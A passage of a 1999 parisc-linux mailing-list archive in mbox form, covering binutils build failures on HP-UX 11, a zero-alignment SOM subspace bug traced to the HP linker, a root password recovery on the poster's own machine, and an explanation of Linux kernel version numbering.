I'm not sure this is the most appropriate fix.  It probably is, since
HPUX's headers seem to use this as a sign that the compiler supports
`long long', but I'm not sure if that's the only thing it means.
  
Now back to finding out why nm no longer likes to work on vmlinux...

-- 
"If I abstain from fun and such,
 I'll probably amount to much;
 But I shall stay the way I am,
 Because I do not give a damn."


From - Thu Nov 08 21:11:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeffrey A Law <law@cygnus.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Trouble building CVS binutils
Date: Thu, 30 Dec 1999 10:16:33 -0700
Lines: 16
Approved: news@gmane.org
Message-ID: <14225.946574193@upchuck>
References: <19991230121655.T12629@thepuffingroup.com>
Reply-To: law@cygnus.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618716 29462 80.91.229.3 (22 Nov 2014 01:11:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:56 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Matthew Wilcox <willy@thepuffingroup.com>
Original-X-From: law@upchuck.cygnus.com  Thu Dec 30 10:16:45 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id KAA19913
	for <parisc-linux@puffin.external.hp.com>; Thu, 30 Dec 1999 10:16:45 -0700
Original-Received: (qmail 23236 invoked by uid 15267); 30 Dec 1999 17:19:28 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 23221 invoked from network); 30 Dec 1999 17:19:27 -0000
Original-Received: from unknown (HELO upchuck.cygnus.com) (208.224.120.150)
  by mailserv2.iuinc.com with SMTP; 30 Dec 1999 17:19:27 -0000
Original-Received: from upchuck (law@localhost [127.0.0.1])
	by upchuck.cygnus.com (8.8.7/8.8.7) with ESMTP id KAA14228;
	Thu, 30 Dec 1999 10:16:33 -0700
X-Mailer: exmh version 2.0.2
In-reply-to: Your message of Thu, 30 Dec 1999 12:16:55 EST.
             <19991230121655.T12629@thepuffingroup.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:6658


  In message <19991230121655.T12629@thepuffingroup.com>you write:
  > 
  > I just attempted to build the binutils in CVS and ran across this problem.
  > When building bfd/hpux-core.c, it stops with a parse error before uint64_t
  > which is used in one of the hpux header files.  <sys/_inttypes.h>
  > does not define this type unless the __STDC_EXT__ symbol is defined.
  > I added this symbol to the egcs spec file and binutils now builds, but
  > I'm not sure this is the most appropriate fix.  It probably is, since
  > HPUX's headers seem to use this as a sign that the compiler supports
  > `long long', but I'm not sure if that's the only thing it means.
Let me guess.  You're using gcc on hpux11?  

No released version of gcc supports hpux11 yet.
jeff


From - Thu Nov 08 21:11:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Trouble building CVS binutils
Date: Thu, 30 Dec 1999 12:22:28 -0500
Lines: 10
Approved: news@gmane.org
Message-ID: <19991230122228.U12629@thepuffingroup.com>
References: <19991230121655.T12629@thepuffingroup.com> <14225.946574193@upchuck>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618716 29465 80.91.229.3 (22 Nov 2014 01:11:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:56 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Jeffrey A Law <law@cygnus.com>
Original-X-From: willy@thepuffingroup.com  Thu Dec 30 10:19:53 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id KAA20254
	for <parisc-linux@puffin.external.hp.com>; Thu, 30 Dec 1999 10:19:53 -0700
Original-Received: (qmail 24718 invoked by uid 15267); 30 Dec 1999 17:22:36 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 24711 invoked from network); 30 Dec 1999 17:22:36 -0000
Original-Received: from unknown (HELO gin.ext.thepuffingroup.com) (216.208.98.3)
  by mailserv2.iuinc.com with SMTP; 30 Dec 1999 17:22:36 -0000
Original-Received: (from willy@localhost)
	by gin.ext.thepuffingroup.com (8.9.3/8.9.3) id MAA29357;
	Thu, 30 Dec 1999 12:22:28 -0500
X-Mailer: Mutt 0.95.4us
In-Reply-To: <14225.946574193@upchuck>; from Jeffrey A Law on Thu, Dec 30, 1999 at 10:16:33AM -0700
Xref: news.gmane.org gmane.linux.ports.parisc:6659

On Thu, Dec 30, 1999 at 10:16:33AM -0700, Jeffrey A Law wrote:
> Let me guess.  You're using gcc on hpux11?  

correct.

> No released version of gcc supports hpux11 yet.

oops, didn't realise that.  i should build binaries on hpux-10 to run
them on hpux 11?


From - Thu Nov 08 21:11:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: eric@cirr.com (Eric Schnoebelen)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Thanks...alot
Date: Thu, 30 Dec 1999 11:36:07 -0600
Lines: 18
Approved: news@gmane.org
Message-ID: <199912301736.LAA11773@opus.cirr.com>
References: <Pine.LNX.4.10.9912301207530.8282-100000@adam.piace.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618716 29466 80.91.229.3 (22 Nov 2014 01:11:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:56 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: tom@piace.com
Original-X-From: eric@cirr.com  Thu Dec 30 10:33:28 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id KAA20800
	for <parisc-linux@puffin.external.hp.com>; Thu, 30 Dec 1999 10:33:27 -0700
Original-Received: (qmail 30476 invoked by uid 15267); 30 Dec 1999 17:36:11 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 30466 invoked from network); 30 Dec 1999 17:36:10 -0000
Original-Received: from opus.cirr.com (root@192.67.63.6)
  by mailserv2.iuinc.com with SMTP; 30 Dec 1999 17:36:10 -0000
Original-Received: from cirr.com (IDENT:eric@egsner.cirr.com [192.67.63.1])
	by opus.cirr.com (8.9.0/8.9.0) with ESMTP id LAA11773;
	Thu, 30 Dec 1999 11:36:08 -0600 (CST)
In-reply-to: Your message of "Thu, 30 Dec 1999 12:14:10 CST."
             <Pine.LNX.4.10.9912301207530.8282-100000@adam.piace.com> 
Original-Sender: eric@cirr.com
Xref: news.gmane.org gmane.linux.ports.parisc:6660


tom@piace.com writes:
- I was able to boot into single user mode, and edit the password file.  It
- took a while to find a terminal program for my computer, that would let me
- run vi correctly.  Thanks for all your help.

	You realize you did more work than required, right??
Since you were running as root at single user, you could have
used the `passwd' command to change roots password.

	On the other hand, its always good to know enough of
`ed(1)' to be able to fix things like this no matter what sort
of terminal you have..

--
Eric Schnoebelen		eric@cirr.com 		http://www.cirr.com
If bankers can count, how come they have eight windows and only four tellers?


From - Thu Nov 08 21:11:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeffrey A Law <law@cygnus.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Trouble building CVS binutils
Date: Thu, 30 Dec 1999 10:42:25 -0700
Lines: 18
Approved: news@gmane.org
Message-ID: <14381.946575745@upchuck>
References: <19991230122228.U12629@thepuffingroup.com>
Reply-To: law@cygnus.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618717 29469 80.91.229.3 (22 Nov 2014 01:11:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:57 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Matthew Wilcox <willy@thepuffingroup.com>
Original-X-From: law@upchuck.cygnus.com  Thu Dec 30 10:42:37 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id KAA21349
	for <parisc-linux@puffin.external.hp.com>; Thu, 30 Dec 1999 10:42:37 -0700
Original-Received: (qmail 2425 invoked by uid 15267); 30 Dec 1999 17:45:20 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 2411 invoked from network); 30 Dec 1999 17:45:19 -0000
Original-Received: from unknown (HELO upchuck.cygnus.com) (208.224.120.150)
  by mailserv2.iuinc.com with SMTP; 30 Dec 1999 17:45:19 -0000
Original-Received: from upchuck (law@localhost [127.0.0.1])
	by upchuck.cygnus.com (8.8.7/8.8.7) with ESMTP id KAA14384;
	Thu, 30 Dec 1999 10:42:25 -0700
X-Mailer: exmh version 2.0.2
In-reply-to: Your message of Thu, 30 Dec 1999 12:22:28 EST.
             <19991230122228.U12629@thepuffingroup.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:6661


  In message <19991230122228.U12629@thepuffingroup.com>you write:
  > > No released version of gcc supports hpux11 yet.
  > 
  > oops, didn't realise that.  i should build binaries on hpux-10 to run
  > them on hpux 11?
It's not the binaries that are the problem, but the changes HP made to their
header files for hpux11.  So using hpux10 binaries doesn't solve the problem.

[ There's some other hpux11 changes that effect C++ and shared libraries, but I
  don't think those changes would effect what you're doing. ]
  

I put hpux11 support into the GCC development tree over the summer; it should
be possible to take that code and retrofit it into gcc-2.95.x.

jeff


From - Thu Nov 08 21:11:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Trouble building CVS binutils
Date: Thu, 30 Dec 1999 14:18:47 -0500
Lines: 20
Approved: news@gmane.org
Message-ID: <19991230141847.W12629@thepuffingroup.com>
References: <19991230121655.T12629@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618717 29473 80.91.229.3 (22 Nov 2014 01:11:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:57 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: willy@thepuffingroup.com  Thu Dec 30 12:16:05 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id MAA22585
	for <parisc-linux@puffin.external.hp.com>; Thu, 30 Dec 1999 12:16:05 -0700
Original-Received: (qmail 9003 invoked by uid 15267); 30 Dec 1999 19:18:48 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 8996 invoked from network); 30 Dec 1999 19:18:48 -0000
Original-Received: from unknown (HELO gin.ext.thepuffingroup.com) (216.208.98.3)
  by mailserv2.iuinc.com with SMTP; 30 Dec 1999 19:18:48 -0000
Original-Received: (from willy@localhost)
	by gin.ext.thepuffingroup.com (8.9.3/8.9.3) id OAA29543
	for parisc-linux@thepuffingroup.com; Thu, 30 Dec 1999 14:18:47 -0500
X-Mailer: Mutt 0.95.4us
In-Reply-To: <19991230121655.T12629@thepuffingroup.com>; from Matthew Wilcox on Thu, Dec 30, 1999 at 12:16:55PM -0500
Xref: news.gmane.org gmane.linux.ports.parisc:6662

On Thu, Dec 30, 1999 at 12:16:55PM -0500, Matthew Wilcox wrote:
> Now back to finding out why nm no longer likes to work on vmlinux...

I'm closer...

in bfd/som.c, function setup_sections(), in the subspace_index loop, around
line 2025 here:

          subspace_asect->alignment_power = log2 (subspace.alignment);
          if (subspace_asect->alignment_power == -1)
            goto error_return;

subspace.alignment is _0_ in one of the subspaces.  HP's nm manages
just fine.  GNU's bails, which actually seems pretty reasonable to me :-)
Two questions spring to mind: 
Why is the linker producing a subspace with an alignment of 0?
What should BFD do when it encounters a file with such an alignment?

I shall continue investigating to see if I can find the answer to #1.


From - Thu Nov 08 21:11:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeffrey A Law <law@cygnus.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Trouble building CVS binutils
Date: Thu, 30 Dec 1999 12:28:48 -0700
Lines: 129
Approved: news@gmane.org
Message-ID: <14902.946582128@upchuck>
References: <19991230141847.W12629@thepuffingroup.com>
Reply-To: law@cygnus.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618717 29475 80.91.229.3 (22 Nov 2014 01:11:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:57 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Matthew Wilcox <willy@thepuffingroup.com>
Original-X-From: law@upchuck.cygnus.com  Thu Dec 30 12:29:06 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id MAA23017
	for <parisc-linux@puffin.external.hp.com>; Thu, 30 Dec 1999 12:29:05 -0700
Original-Received: (qmail 14282 invoked by uid 15267); 30 Dec 1999 19:31:49 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 14255 invoked from network); 30 Dec 1999 19:31:48 -0000
Original-Received: from unknown (HELO upchuck.cygnus.com) (208.224.120.150)
  by mailserv2.iuinc.com with SMTP; 30 Dec 1999 19:31:48 -0000
Original-Received: from upchuck (law@localhost [127.0.0.1])
	by upchuck.cygnus.com (8.8.7/8.8.7) with ESMTP id MAA14905;
	Thu, 30 Dec 1999 12:28:48 -0700
X-Mailer: exmh version 2.0.2
In-reply-to: Your message of Thu, 30 Dec 1999 14:18:47 EST.
             <19991230141847.W12629@thepuffingroup.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:6663

  In message <19991230141847.W12629@thepuffingroup.com>you write:
  > I'm closer...
  > 
  > in bfd/som.c, function setup_sections(), in the subspace_index loop, around
  > line 2025 here:
  > 
  >           subspace_asect->alignment_power = log2 (subspace.alignment);
  >           if (subspace_asect->alignment_power == -1)
  >             goto error_return;
  > 
  > subspace.alignment is _0_ in one of the subspaces.  HP's nm manages
  > just fine.  GNU's bails, which actually seems pretty reasonable to me :-)
  > Two questions spring to mind: 
  > Why is the linker producing a subspace with an alignment of 0?
  > What should BFD do when it encounters a file with such an alignment?
According to the SOM spec the subspace alignment must be greater than zero.
Thus, this seems like a bug in the HP linker.

jeff

X-From-Line: hppa-linux@thepuffingroup.com  Thu Mar 11 22:11:34 1999
Return-Path: <hppa-linux@thepuffingroup.com>
Received: from merlin.pcj.primenet.com (pcj@merlin.pcj.primenet.com [192.168.111.10])
	by merlin.pcj.primenet.com (8.8.7/8.8.7) with ESMTP id WAA14707
	for <pcj@merlin.pcj.primenet.com>; Thu, 11 Mar 1999 22:11:34 -0800
Resent-From: hppa-linux@thepuffingroup.com
Received: from pop.primenet.com
	by merlin.pcj.primenet.com (fetchmail-4.4.7 POP3)
	for <pcj/merlin.pcj.primenet.com> (single-drop); Thu, 11 Mar 1999 22:11:34 PST
Received: from smtp02.primenet.com (daemon@smtp02.primenet.com [206.165.6.132])
	by primenet.com (8.8.8/8.8.5) with ESMTP id TAA13623
	for <pcj@smtp-local.primenet.com>; Thu, 11 Mar 1999 19:58:06 -0700 (MST)
Received: (from daemon@localhost)
	by smtp02.primenet.com (8.8.8/8.8.8) id TAA02764
	for <pcj@primenet.com>; Thu, 11 Mar 1999 19:59:12 -0700 (MST)
Received: from SOD.RES.CMU.EDU(128.2.91.30)
 via SMTP by smtp02.primenet.com, id smtpd002688; Thu Mar 11 19:59:00 1999
Received: (from listserv@localhost)
	by sod.res.cmu.edu (8.8.7/8.8.7) id VAA12037;
	Thu, 11 Mar 1999 21:59:03 -0500
Resent-Date: Thu, 11 Mar 1999 21:59:03 -0500
X-Authentication-Warning: sod.res.cmu.edu: listserv set sender to hppa-linux-request@thepuffingroup.com using -f
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
Message-ID: <7678BED5A989D211A39000A0C94309E908D624@wehcml06>
From: PG40 KCLin <KCLIN@winbond.com.tw>
To: "'hppa-linux@thepuffingroup.com'" <hppa-linux@thepuffingroup.com>
Subject: RE: [hppa-linux] New cross compiling RPMs
Date: Fri, 12 Mar 1999 10:57:38 +0800
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2448.0)
Content-Type: text/plain
Resent-Message-ID: <"cMD701.0.-x2.sB8ws"@sod.res.cmu.edu>
Reply-To: hppa-linux@thepuffingroup.com
X-Mailing-List: <hppa-linux@thepuffingroup.com> archive/latest/175
X-Loop: hppa-linux@thepuffingroup.com
Precedence: list
Resent-Sender: hppa-linux-request@thepuffingroup.com
X-UIDL: 87bcb98b701e1657c36b563becb47c47
Lines: 67
Xref: merlin.pcj.primenet.com palinux:145

About the source level remote debugger of Windows based version for GNU
cross tools, please reference the web site: http://www.cygnus.com then you
may get more idea about it.

Winbond is one IC maker in Taiwan. We developed the PA-RISC 1.1 architecture
level 0 controller and focus in Embedded controller market. We using the
cross tools (DOS or DOS prompt in Windows based running on PC) provided by
CYGNUS. If you've interested about our chip spec. or develop platform,
please reference our web site at http://www.winbond.com.tw -> select product
overview -> select product information -> select Visual Communication ICs ->
select Embedded Controller then you'll get the chip information and
evaluation kits information.

Because we're interesting the Linux kernel can be run on our platform, if we
can have any contribution in your porting project, please let me know.
Thanks!

Best regards,
James K.C. Lin
Winbond Electronics Corp.
Taiwan, R.O.C.

> ----------
> From: 	Alex deVries[SMTP:adevries@redhat.com]
> Sent: 	Thursday, March 11, 1999 AM 11:18
> To: 	'hppa-linux@thepuffingroup.com'
> Subject: 	RE: [hppa-linux] New cross compiling RPMs
> 
> 
> On Thu, 11 Mar 1999, PG40 KCLin wrote:
> > About the new cross compiler, does it support floating-point emulation
> for
> > PA-RISC 1.1 architecture level 0? In the cross tool, does it support the
> > source level debugger based on Windows? or gdb only?
> 
> I'm not actually quite sure about the answer to this question; certainly
> their is no native floating point support, although there may be
> emulation.
> 
> This should be easy enough to test.
> 
> For the kernel side of things, which is the most immediate concern, we
> don't need floating point yet anyway.
> 
> There's currently no working gdb, although that shouln't be too difficult
> to straighten out either.  I don't know what you mean by the source level
> windows debugger, but I'm interested.
> 
> -= Alex
> 
> -- 
> Alex deVries <puffin@redhat.com>     
> Red Hat Contrib Net maintainer          
> Ottawa, Canada  
> HPPA/Linux Porting Team
> 
> 
> 
> -------------------------------------------------------------------------
> To unsubscribe: send e-mail to hppa-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.
> 

-------------------------------------------------------------------------
To unsubscribe: send e-mail to hppa-linux-request@thepuffingroup.com with
`unsubscribe' as the subject.



From - Thu Nov 08 21:11:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Trouble building CVS binutils
Date: Thu, 30 Dec 1999 15:49:25 -0500
Lines: 22
Approved: news@gmane.org
Message-ID: <19991230154925.A12629@thepuffingroup.com>
References: <19991230141847.W12629@thepuffingroup.com> <14902.946582128@upchuck>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618718 29478 80.91.229.3 (22 Nov 2014 01:11:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:58 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Jeffrey A Law <law@cygnus.com>
Original-X-From: willy@thepuffingroup.com  Thu Dec 30 13:46:46 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id NAA23844
	for <parisc-linux@puffin.external.hp.com>; Thu, 30 Dec 1999 13:46:45 -0700
Original-Received: (qmail 10773 invoked by uid 15267); 30 Dec 1999 20:49:29 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 10762 invoked from network); 30 Dec 1999 20:49:29 -0000
Original-Received: from unknown (HELO gin.ext.thepuffingroup.com) (216.208.98.3)
  by mailserv2.iuinc.com with SMTP; 30 Dec 1999 20:49:29 -0000
Original-Received: (from willy@localhost)
	by gin.ext.thepuffingroup.com (8.9.3/8.9.3) id PAA29702;
	Thu, 30 Dec 1999 15:49:25 -0500
X-Mailer: Mutt 0.95.4us
In-Reply-To: <14902.946582128@upchuck>; from Jeffrey A Law on Thu, Dec 30, 1999 at 12:28:48PM -0700
Xref: news.gmane.org gmane.linux.ports.parisc:6664

On Thu, Dec 30, 1999 at 12:28:48PM -0700, Jeffrey A Law wrote:
> According to the SOM spec the subspace alignment must be greater than zero.
> Thus, this seems like a bug in the HP linker.

OK, it seems we were tripping it with the 2.3 kernel.  We had:

	.SPACE $CODE$
	.SUBSPA $TEXT$
(a function)
	.SUBSPA $DATA$
(some more functions)

Changing this to:
	.SPACE $CODE$
	.SUBSPA $DATA$
(a function)
(some more functions)

seems to work OK.

Thanks to prumpf for his help tracking this down.


From - Thu Nov 08 21:11:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: <tom@piace.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Thanks...alot
Date: Fri, 31 Dec 1999 01:52:31 -0600 (CST)
Lines: 34
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.9912310147410.9988-100000@adam.piace.com>
References: <199912301736.LAA11773@opus.cirr.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618718 29481 80.91.229.3 (22 Nov 2014 01:11:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:58 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Eric Schnoebelen <eric@cirr.com>
Original-X-From: tom@adam.piace.com  Thu Dec 30 23:49:54 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id XAA28647
	for <parisc-linux@puffin.external.hp.com>; Thu, 30 Dec 1999 23:49:54 -0700
Original-Received: (qmail 5845 invoked by uid 15267); 31 Dec 1999 06:52:35 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 5833 invoked from network); 31 Dec 1999 06:52:34 -0000
Original-Received: from adam.piace.com (root@207.150.48.249)
  by mailserv2.iuinc.com with SMTP; 31 Dec 1999 06:52:34 -0000
Original-Received: from localhost (tom@localhost)
	by adam.piace.com (8.9.3/8.9.3) with ESMTP id BAA10008;
	Fri, 31 Dec 1999 01:52:31 -0600
In-Reply-To: <199912301736.LAA11773@opus.cirr.com>
Xref: news.gmane.org gmane.linux.ports.parisc:6665

I don't know what I was thinking.  I was so excited about getting into my
new toy I just wanted to get it working.  It has been along time
since I used ed(like) editors.  I hope to have some time to play with it
after all of the y2krap is over.  I have lots of updated to load on
customers computers, so I don't get to play with mine.  


  

On Thu, 30 Dec 1999, Eric Schnoebelen wrote:

> 
> tom@piace.com writes:
> - I was able to boot into single user mode, and edit the password file.  It
> - took a while to find a terminal program for my computer, that would let me
> - run vi correctly.  Thanks for all your help.
> 
> 	You realize you did more work than required, right??
> Since you were running as root at single user, you could have
> used the `passwd' command to change roots password.
> 
> 	On the other hand, its always good to know enough of
> `ed(1)' to be able to fix things like this no matter what sort
> of terminal you have..
> 
> --
> Eric Schnoebelen		eric@cirr.com 		http://www.cirr.com
> If bankers can count, how come they have eight windows and only four tellers?
> 
> ---------------------------------------------------------------------------
> To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.
> 


From - Thu Nov 08 21:11:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Linux version numbers
Date: Fri, 31 Dec 1999 16:39:30 -0500
Lines: 53
Approved: news@gmane.org
Message-ID: <19991231163930.C12629@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618718 29484 80.91.229.3 (22 Nov 2014 01:11:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:58 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: willy@thepuffingroup.com  Fri Dec 31 14:36:50 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id OAA01723
	for <parisc-linux@puffin.external.hp.com>; Fri, 31 Dec 1999 14:36:50 -0700
Original-Received: (qmail 5266 invoked by uid 15267); 31 Dec 1999 21:39:31 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 5258 invoked from network); 31 Dec 1999 21:39:31 -0000
Original-Received: from unknown (HELO gin.ext.thepuffingroup.com) (216.208.98.3)
  by mailserv2.iuinc.com with SMTP; 31 Dec 1999 21:39:31 -0000
Original-Received: (from willy@localhost)
	by gin.ext.thepuffingroup.com (8.9.3/8.9.3) id QAA31288
	for parisc-linux@thepuffingroup.com; Fri, 31 Dec 1999 16:39:30 -0500
X-Mailer: Mutt 0.95.4us
Xref: news.gmane.org gmane.linux.ports.parisc:6666


Grant asked me to explain Linux kernel version numbering, so here goes:

Linux version numbers are of the form a.b.c.  a.b is a line of
development; so far we've had 0.99, 1.0, 1.1, 1.2, 2.0, 2.1, 2.2 and 2.3.
The .c indicates a release in that line of development.

When b is odd, it signifies that this is a _development_ kernel.  Major
overhauls are made, sometimes without warning.  Not all development
kernels boot or even compile.  Their purpose is to distribute major
changes to the development community in the fastest way possible.
Some people run development kernels on their machine as a matter of
course.  They either know what they're doing and are actively debugging
it or they are 3l33t k1dd13z who think it's cool to run the kernel with
the highest version number available.

Kernels which have an even `b' are stable kernels.  The rate of change
is much much slower, and the changes which are accepted are those
which do not change the behaviour of the kernel core, or are necessary
to fix bugs.  New drivers and new architectures can be added to stable
kernels, provided they don't impact the stability of the overall kernel.
The emphasis here is on making a product that is usable.

You will also see other kernel versions around.  Linus frequently puts
out prereleases like 2.3.35pre3 which are available for really dedicated
testers and so that people can test the validity of big merges they've
done with him.  For example, the 2.3.35pre1 release was for davem to
check that Linus had done the sparc64 merge right.

Alan has done a series for 2.2 where he adds features which Linus
doesn't want to add.  A typical example number would be 2.2.10-ac3.
Some people have imitated this scheme, but it's discouraged for people
to distribute mega-patches as it makes it hard to merge with Linus.

As far as `who is in charge' questions go, Linus always manages the
development branch.  He maintained 2.2 up to 2.2.10 (or thereabouts),
before he passed responsibility over to Alan.  Alan has a fetish for
stable kernels, and maintained 2.0 from 2.0.36 to 2.0.38 before getting
busy with 2.2 and passing 2.0 over to David Weinehall.  Alan also worked
on 1.2.13 fixes for a while, but this is ancient history now :-)

How is Linux/PA-RISC going to fit in?  The current thinking seems to
be that we _need_ page colouring and some other features that impact
the core kernel code.  It's too late in 2.3 development to have these
changes integrated.  It's _probably_ too big a change to go into 2.4
(though I have been surprised at some of the changes which have gone
into 2.2), so I think we'll be merged with the official kernel during
2.5 development.  We will maintain our own patch-set against 2.4 and 2.5,
just as mips, ppc, sparc, m68k and arm have done with 2.2 and 2.3.

This assumes the next stable kernel will be called 2.4.  It could be 3.0
or 9.6 for all I know :-)


From - Thu Nov 08 21:11:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] termios
Date: Fri, 31 Dec 1999 18:35:49 -0500
Lines: 37
Approved: news@gmane.org
Message-ID: <19991231183549.D12629@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618718 29489 80.91.229.3 (22 Nov 2014 01:11:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
